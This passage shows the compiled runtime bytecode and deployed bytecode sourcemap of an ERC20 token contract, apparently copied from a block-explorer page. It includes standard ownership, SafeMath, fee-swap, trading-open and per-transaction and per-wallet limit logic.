050565b5f5f82846123a49190612fd6565b9050838110156123e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e0906133f1565b60405180910390fd5b8091505092915050565b5f83821115612437576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242e90613459565b60405180910390fd5b61245d6124448584612466565b61245885612453866064612335565b6122be565b612396565b90509392505050565b5f6124a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe1565b905092915050565b5f5f831182906124f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ec9190612580565b60405180910390fd5b505f838561250391906132e9565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61255282612510565b61255c818561251a565b935061256c81856020860161252a565b61257581612538565b840191505092915050565b5f6020820190508181035f8301526125988184612548565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125cd826125a4565b9050919050565b6125dd816125c3565b81146125e7575f5ffd5b50565b5f813590506125f8816125d4565b92915050565b5f819050919050565b612610816125fe565b811461261a575f5ffd5b50565b5f8135905061262b81612607565b92915050565b5f5f60408385031215612647576126466125a0565b5b5f612654858286016125ea565b92505060206126658582860161261d565b9150509250929050565b5f8115159050919050565b6126838161266f565b82525050565b5f60208201905061269c5f83018461267a565b92915050565b6126ab816125fe565b82525050565b5f6020820190506126c45f8301846126a2565b92915050565b5f602082840312156126df576126de6125a0565b5b5f6126ec8482850161261d565b91505092915050565b5f5f5f6060848603121561270c5761270b6125a0565b5b5f612719868287016125ea565b935050602061272a868287016125ea565b925050604061273b8682870161261d565b9150509250925092565b5f60ff82169050919050565b61275a81612745565b82525050565b5f6020820190506127735f830184612751565b92915050565b5f6020828403121561278e5761278d6125a0565b5b5f61279b848285016125ea565b91505092915050565b6127ad816125c3565b82525050565b5f6020820190506127c65f8301846127a4565b92915050565b5f5f604083850312156127e2576127e16125a0565b5b5f6127ef858286016125ea565b9250506020612800858286016125ea565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61283e60208361251a565b91506128498261280a565b602082019050919050565b5f6020820190508181035f83015261286b81612832565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156128f4578086048111156128d0576128cf612872565b5b60018516156128df5780820291505b80810290506128ed8561289f565b94506128b4565b94509492505050565b5f8261290c57600190506129c7565b81612919575f90506129c7565b816001811461292f576002811461293957612968565b60019150506129c7565b60ff84111561294b5761294a612872565b5b8360020a91508482111561296257612961612872565b5b506129c7565b5060208310610133831016604e8410600b841016171561299d5782820a90508381111561299857612997612872565b5b6129c7565b6129aa84848460016128ab565b925090508184048111156129c1576129c0612872565b5b81810290505b9392505050565b5f6129d8826125fe565b91506129e383612745565b9250612a107fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846128fd565b905092915050565b5f612a22826125fe565b9150612a2d836125fe565b9250828202612a3b816125fe565b91508282048414831517612a5257612a51612872565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a8d60178361251a565b9150612a9882612a59565b602082019050919050565b5f6020820190508181035f830152612aba81612a81565b9050919050565b5f81519050612acf816125d4565b92915050565b5f60208284031215612aea57612ae96125a0565b5b5f612af784828501612ac1565b91505092915050565b5f604082019050612b135f8301856127a4565b612b2060208301846127a4565b9392505050565b5f604082019050612b3a5f8301856127a4565b612b4760208301846126a2565b9392505050565b612b578161266f565b8114612b61575f5ffd5b50565b5f81519050612b7281612b4e565b92915050565b5f60208284031215612b8d57612b8c6125a0565b5b5f612b9a84828501612b64565b91505092915050565b5f819050919050565b5f819050919050565b5f612bcf612bca612bc584612ba3565b612bac565b6125fe565b9050919050565b612bdf81612bb5565b82525050565b5f60c082019050612bf85f8301896127a4565b612c0560208301886126a2565b612c126040830187612bd6565b612c1f6060830186612bd6565b612c2c60808301856127a4565b612c3960a08301846126a2565b979650505050505050565b5f81519050612c5281612607565b92915050565b5f5f5f60608486031215612c6f57612c6e6125a0565b5b5f612c7c86828701612c44565b9350506020612c8d86828701612c44565b9250506040612c9e86828701612c44565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612d0260248361251a565b9150612d0d82612ca8565b604082019050919050565b5f6020820190508181035f830152612d2f81612cf6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d9060228361251a565b9150612d9b82612d36565b604082019050919050565b5f6020820190508181035f830152612dbd81612d84565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612e1e60258361251a565b9150612e2982612dc4565b604082019050919050565b5f6020820190508181035f830152612e4b81612e12565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612eac60238361251a565b9150612eb782612e52565b604082019050919050565b5f6020820190508181035f830152612ed981612ea0565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612f3a60298361251a565b9150612f4582612ee0565b604082019050919050565b5f6020820190508181035f830152612f6781612f2e565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612fa260198361251a565b9150612fad82612f6e565b602082019050919050565b5f6020820190508181035f830152612fcf81612f96565b9050919050565b5f612fe0826125fe565b9150612feb836125fe565b925082820190508082111561300357613002612872565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61303d601a8361251a565b915061304882613009565b602082019050919050565b5f6020820190508181035f83015261306a81613031565b9050919050565b5f61307b826125fe565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130ad576130ac612872565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6130ec60178361251a565b91506130f7826130b8565b602082019050919050565b5f6020820190508181035f830152613119816130e0565b9050919050565b5f61312a826125fe565b9150613135836125fe565b925082820390508181111561314d5761314c612872565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131df816125c3565b82525050565b5f6131f083836131d6565b60208301905092915050565b5f602082019050919050565b5f613212826131ad565b61321c81856131b7565b9350613227836131c7565b805f5b8381101561325757815161323e88826131e5565b9750613249836131fc565b92505060018101905061322a565b5085935050505092915050565b5f60a0820190506132775f8301886126a2565b6132846020830187612bd6565b81810360408301526132968186613208565b90506132a560608301856127a4565b6132b260808301846126a2565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6132f3826125fe565b91506132fe836125fe565b92508261330e5761330d6132bc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61337360218361251a565b915061337e82613319565b604082019050919050565b5f6020820190508181035f8301526133a081613367565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6133db601b8361251a565b91506133e6826133a7565b602082019050919050565b5f6020820190508181035f830152613408816133cf565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f613443601e8361251a565b915061344e8261340f565b602082019050919050565b5f6020820190508181035f83015261347081613437565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d8bc8725bbd8914537d7b8e890e492003ccb4b3fc38970ff6b6bdeffee03ad4964736f6c634300081e0033
Deployed Bytecode Sourcemap
4015:8792:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5962:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6795:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5115:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11194:82;;;;;;;;;;;;;:::i;:::-;;6239:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10769:251;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6964:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6148:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12450:352;;;;;;;;;;;;;:::i;:::-;;11028:158;;;;;;;;;;;;;:::i;:::-;;6342:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3004:148;;;;;;;;;;;;;:::i;:::-;;4942:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2790:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4996:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6053:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6469:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5052:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11381:1024;;;;;;;;;;;;;:::i;:::-;;6644:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5962:83;5999:13;6032:5;;;;;;;;;;;;;;;;;6025:12;;5962:83;:::o;6795:161::-;6870:4;6887:39;6896:12;:10;:12::i;:::-;6910:7;6919:6;6887:8;:39::i;:::-;6944:4;6937:11;;6795:161;;;;:::o;5115:50::-;;;;:::o;11194:82::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11267:1:::1;11252:12;:16;;;;11194:82::o:0;6239:95::-;6292:7;4749:1;4808:2;:13;;;;:::i;:::-;4792;:29;;;;:::i;:::-;6312:14;;6239:95;:::o;10769:251::-;10850:10;;;;;;;;;;;10836:24;;:12;:10;:12::i;:::-;:24;;;:51;;;;10876:11;;;;;;;;;;;10862:25;;:12;:10;:12::i;:::-;:25;;;10836:51;10828:60;;;;;;10899:26;10928:21;10899:50;;10963:9;10950:12;:22;;;;10983:29;10993:18;10983:9;:29::i;:::-;10817:203;10769:251;:::o;6964:313::-;7062:4;7079:36;7089:6;7097:9;7108:6;7079:9;:36::i;:::-;7126:121;7135:6;7143:12;:10;:12::i;:::-;7157:89;7195:6;7157:89;;;;;;;;;;;;;;;;;:11;:19;7169:6;7157:19;;;;;;;;;;;;;;;:33;7177:12;:10;:12::i;:::-;7157:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7126:8;:121::i;:::-;7265:4;7258:11;;6964:313;;;;;:::o;6148:83::-;6189:5;4749:1;6207:16;;6148:83;:::o;12450:352::-;12514:10;;;;;;;;;;;12500:24;;:12;:10;:12::i;:::-;:24;;;12492:33;;;;;;12536:21;12558:24;12576:4;12558:9;:24::i;:::-;12536:46;;12610:1;12596:13;:15;12593:77;;;12627:31;12644:13;12627:16;:31::i;:::-;12593:77;12680:18;12699:21;12680:40;;12745:1;12734:10;:12;12731:64;;;12762:21;12772:10;12762:9;:21::i;:::-;12731:64;12481:321;;12450:352::o;11028:158::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4749:1:::1;4808:2;:13;;;;:::i;:::-;4792;:29;;;;:::i;:::-;11080:12;:22;;;;4749:1;4808:2;:13;;;;:::i;:::-;4792;:29;;;;:::i;:::-;11113:14;:22;;;;11151:27;4749:1;4808:2;:13;;;;:::i;:::-;4792;:29;;;;:::i;:::-;11151:27;;;;;;:::i;:::-;;;;;;;;11028:158::o:0;6342:119::-;6408:7;6435:9;:18;6445:7;6435:18;;;;;;;;;;;;;;;;6428:25;;6342:119;;;:::o;3004:148::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3111:1:::1;3074:40;;3095:6;;;;;;;;;;;3074:40;;;;;;;;;;;;3142:1;3125:6;;:19;;;;;;;;;;;;;;;;;;3004:148::o:0;4942:47::-;;;;:::o;2790:79::-;2828:7;2855:6;;;;;;;;;;;2848:13;;2790:79;:::o;4996:49::-;;;;:::o;6053:87::-;6092:13;6125:7;;;;;;;;;;;;;;;;;6118:14;;6053:87;:::o;6469:167::-;6547:4;6564:42;6574:12;:10;:12::i;:::-;6588:9;6599:6;6564:9;:42::i;:::-;6624:4;6617:11;;6469:167;;;;:::o;5052:56::-;;;;:::o;11381:1024::-;2927:12;:10;:12::i;:::-;2917:22;;:6;;;;;;;;;;;:22;;;2909:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11445:11:::1;::::0;::::1;;;;;;;;11444:12;11436:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11531:42;11494:15;;:80;;;;;;;;;;;;;;;;;;11607:42;11585:11;;:65;;;;;;;;;;;;;;;;;;11768:1;11665:105;;11683:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11665:52;;;11718:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11750:4;11665:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:105;;::::0;11661:388:::1;;11821:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11803:55;;;11859:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11891:4;11803:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11787:13;;:110;;;;;;;;;;;;;;;;;;11661:388;;;11964:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11946:52;;;11999:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12031:4;11946:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11930:13;;:107;;;;;;;;;;;;;;;;;;11661:388;12066:13;;;;;;;;;;;12059:29;;;12097:15;;;;;;;;;;;12115:14;12059:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12141:58;12158:4;12173:15;;;;;;;;;;;4749:1;4808:2;:13;;;;:::i;:::-;4792;:29;;;;:::i;:::-;12141:8;:58::i;:::-;12210:15;;;;;;;;;;;:31;;;12249:21;12280:4;12286:24;12304:4;12286:9;:24::i;:::-;12311:1;12313;12315:7;:5;:7::i;:::-;12323:15;12210:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12364:4;12350:11;;:18;;;;;;;;;;;;;;;;;;12393:4;12379:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;11381:1024::o:0;6644:143::-;6725:7;6752:11;:18;6764:5;6752:18;;;;;;;;;;;;;;;:27;6771:7;6752:27;;;;;;;;;;;;;;;;6745:34;;6644:143;;;;:::o;338:98::-;391:7;418:10;411:17;;338:98;:::o;7407:335::-;7517:1;7500:19;;:5;:19;;;7492:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7598:1;7579:21;;:7;:21;;;7571:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7680:6;7650:11;:18;7662:5;7650:18;;;;;;;;;;;;;;;:27;7669:7;7650:27;;;;;;;;;;;;;;;:36;;;;7718:7;7702:32;;7711:5;7702:32;;;7727:6;7702:32;;;;;;:::i;:::-;;;;;;;;7407:335;;;:::o;11284:89::-;11338:10;;;;;;;;;;;:19;;:27;11358:6;11338:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11284:89;:::o;7750:2409::-;7854:1;7838:18;;:4;:18;;;7830:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7931:1;7917:16;;:2;:16;;;7909:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8001:1;7992:6;:10;7984:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8059:17;8077:1;8059:19;;8101:7;:5;:7::i;:::-;8093:15;;:4;:15;;;;:32;;;;;8118:7;:5;:7::i;:::-;8112:13;;:2;:13;;;;8093:32;8089:1704;;;8156:1;8145:9;;:12;8142:140;;8189:77;8262:3;8189:68;8212:15;;8201:9;;:26;;8200:56;;8242:14;;8200:56;;;8229:12;;8200:56;8189:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;8177:89;;8142:140;8309:1;8299:9;;:11;8296:95;;;8342:33;8371:3;8342:24;8353:12;;8342:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;8330:45;;8296:95;8419:13;;;;;;;;;;;8411:21;;:4;:21;;;:55;;;;;8450:15;;;;;;;;;;;8436:30;;:2;:30;;;;8411:55;:83;;;;;8472:18;:22;8491:2;8472:22;;;;;;;;;;;;;;;;;;;;;;;;;8470:24;8411:83;8407:421;;;8534:12;;8524:6;:22;;8516:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8629:14;;8619:6;8603:13;8613:2;8603:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8595:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8705:77;8778:3;8705:68;8728:15;;8717:9;;:26;;8716:56;;8758:14;;8716:56;;;8745:12;;8716:56;8705:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;8693:89;;8801:9;;:11;;;;;;;;;:::i;:::-;;;;;;8407:421;8853:13;;;;;;;;;;;8847:19;;:2;:19;;;:43;;;;;8885:4;8870:20;;:4;:20;;;;8847:43;8844:175;;;8923:80;8999:3;8923:71;8946:16;;8935:9;;:27;;8934:59;;8978:15;;8934:59;;;8964:13;;8934:59;8923:6;:10;;:71;;;;:::i;:::-;:75;;:80;;;;:::i;:::-;8911:92;;8844:175;9035:28;9066:24;9084:4;9066:9;:24::i;:::-;9035:55;;9110:6;;;;;;;;;;;9109:7;:30;;;;;9126:13;;;;;;;;;;;9120:19;;:2;:19;;;9109:30;:45;;;;;9143:11;;;;;;;;;;;9109:45;:89;;;;;9181:17;;9158:20;:40;9109:89;:124;;;;;9215:18;;9202:9;;:31;;9109:124;9105:677;;;9273:13;;9258:12;:28;9254:90;;;9323:1;9311:9;:13;;;;9254:90;9382:1;9370:9;;:13;9362:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;9430:69;9447:51;9451:6;9459:38;9463:20;9485:11;;9459:3;:38::i;:::-;9447:3;:51::i;:::-;9430:16;:69::i;:::-;9518:26;9547:21;9518:50;;9612:1;9591:18;:22;9587:103;;;9638:32;9648:21;9638:9;:32::i;:::-;9587:103;9708:9;;:11;;;;;;;;;:::i;:::-;;;;;;9754:12;9738:13;:28;;;;9235:547;9105:677;8127:1666;8089:1704;9818:1;9808:9;:11;9805:165;;;9860:39;9889:9;9860;:24;9878:4;9860:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9835:9;:24;9853:4;9835:24;;;;;;;;;;;;;;;:64;;;;9942:4;9919:39;;9928:4;9919:39;;;9948:9;9919:39;;;;;;:::i;:::-;;;;;;;;9805:165;9996:33;10016:4;;10022:6;9996:9;:15;10006:4;9996:15;;;;;;;;;;;;;;;;:19;;:33;;;;;:::i;:::-;9980:9;:15;9990:4;9980:15;;;;;;;;;;;;;;;:49;;;;10054:40;10072:21;10083:9;10072:6;:10;;:21;;;;:::i;:::-;10054:9;:13;10064:2;10054:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;10040:9;:13;10050:2;10040:13;;;;;;;;;;;;;;;:54;;;;10125:2;10110:41;;10119:4;10110:41;;;10129:21;10140:9;10129:6;:10;;:21;;;;:::i;:::-;10110:41;;;;;;:::i;:::-;;;;;;;;7819:2340;7750:2409;;;:::o;1475:190::-;1561:7;1594:1;1589;:6;;1597:12;1581:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1621:9;1637:1;1633;:5;;;;:::i;:::-;1621:17;;1656:1;1649:8;;;1475:190;;;;;:::o;10277:484::-;7325:4;7318:6;;:11;;;;;;;;;;;;;;;;;;7335:12;;7330:4;:17;;;;10356:21:::1;10394:1;10380:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10356:40;;10425:4;10407;10412:1;10407:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10451:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10441:4;10446:1;10441:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10484:62;10501:4;10516:15;;;;;;;;;;;10534:11;10484:8;:62::i;:::-;10557:15;;;;;;;;;;;:66;;;10638:11;10664:1;10680:4;10707;10727:15;10557:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10345:416;7365:1:::0;7360:4;:6;;;;7386:5;7377:6;;:14;;;;;;;;;;;;;;;;;;10277:484;:::o;1673:246::-;1731:7;1760:1;1755;:6;1751:47;;1785:1;1778:8;;;;1751:47;1808:9;1824:1;1820;:5;;;;:::i;:::-;1808:17;;1853:1;1848;1844;:5;;;;:::i;:::-;:10;1836:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1910:1;1903:8;;;1673:246;;;;;:::o;2134:132::-;2192:7;2219:39;2223:1;2226;2219:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2212:46;;2134:132;;;;:::o;10169:100::-;10226:7;10255:1;10253;:3;10252:9;;10260:1;10252:9;;;10258:1;10252:9;10245:16;;10169:100;;;;:::o;1144:179::-;1202:7;1222:9;1238:1;1234;:5;;;;:::i;:::-;1222:17;;1263:1;1258;:6;;1250:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1314:1;1307:8;;;1144:179;;;;:::o;1927:199::-;1996:7;2029:1;2024;:6;;2016:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;2083:35;2087:9;2091:1;2094;2087:3;:9::i;:::-;2098:19;2102:1;2105:11;2109:1;2112:3;2105;:11::i;:::-;2098:3;:19::i;:::-;2083:3;:35::i;:::-;2076:42;;1927:199;;;;;:::o;1331:136::-;1389:7;1416:43;1420:1;1423;1416:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1409:50;;1331:136;;;;:::o;2274:189::-;2360:7;2392:1;2388;:5;2395:12;2380:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2419:9;2435:1;2431;:5;;;;:::i;:::-;2419:17;;2454:1;2447:8;;;2274:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:329::-;3750:6;3799:2;3787:9;3778:7;3774:23;3770:32;3767:119;;;3805:79;;:::i;:::-;3767:119;3925:1;3950:53;3995:7;3986:6;3975:9;3971:22;3950:53;:::i;:::-;3940:63;;3896:117;3691:329;;;;:::o;4026:619::-;4103:6;4111;4119;4168:2;4156:9;4147:7;4143:23;4139:32;4136:119;;;4174:79;;:::i;:::-;4136:119;4294:1;4319:53;4364:7;4355:6;4344:9;4340:22;4319:53;:::i;:::-;4309:63;;4265:117;4421:2;4447:53;4492:7;4483:6;4472:9;4468:22;4447:53;:::i;:::-;4437:63;;4392:118;4549:2;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4520:118;4026:619;;;;;:::o;4651:86::-;4686:7;4726:4;4719:5;4715:16;4704:27;;4651:86;;;:::o;4743:112::-;4826:22;4842:5;4826:22;:::i;:::-;4821:3;4814:35;4743:112;;:::o;4861:214::-;4950:4;4988:2;4977:9;4973:18;4965:26;;5001:67;5065:1;5054:9;5050:17;5041:6;5001:67;:::i;:::-;4861:214;;;;:::o;5081:329::-;5140:6;5189:2;5177:9;5168:7;5164:23;5160:32;5157:119;;;5195:79;;:::i;:::-;5157:119;5315:1;5340:53;5385:7;5376:6;5365:9;5361:22;5340:53;:::i;:::-;5330:63;;5286:117;5081:329;;;;:::o;5416:118::-;5503:24;5521:5;5503:24;:::i;:::-;5498:3;5491:37;5416:118;;:::o;5540:222::-;5633:4;5671:2;5660:9;5656:18;5648:26;;5684:71;5752:1;5741:9;5737:17;5728:6;5684:71;:::i;:::-;5540:222;;;;:::o;5768:474::-;5836:6;5844;5893:2;5881:9;5872:7;5868:23;5864:32;5861:119;;;5899:79;;:::i;:::-;5861:119;6019:1;6044:53;6089:7;6080:6;6069:9;6065:22;6044:53;:::i;:::-;6034:63;;5990:117;6146:2;6172:53;6217:7;6208:6;6197:9;6193:22;6172:53;:::i;:::-;6162:63;;6117:118;5768:474;;;;;:::o;6248:182::-;6388:34;6384:1;6376:6;6372:14;6365:58;6248:182;:::o;6436:366::-;6578:3;6599:67;6663:2;6658:3;6599:67;:::i;:::-;6592:74;;6675:93;6764:3;6675:93;:::i;:::-;6793:2;6788:3;6784:12;6777:19;;6436:366;;;:::o;6808:419::-;6974:4;7012:2;7001:9;6997:18;6989:26;;7061:9;7055:4;7051:20;7047:1;7036:9;7032:17;7025:47;7089:131;7215:4;7089:131;:::i;:::-;7081:139;;6808:419;;;:::o;7233:180::-;7281:77;7278:1;7271:88;7378:4;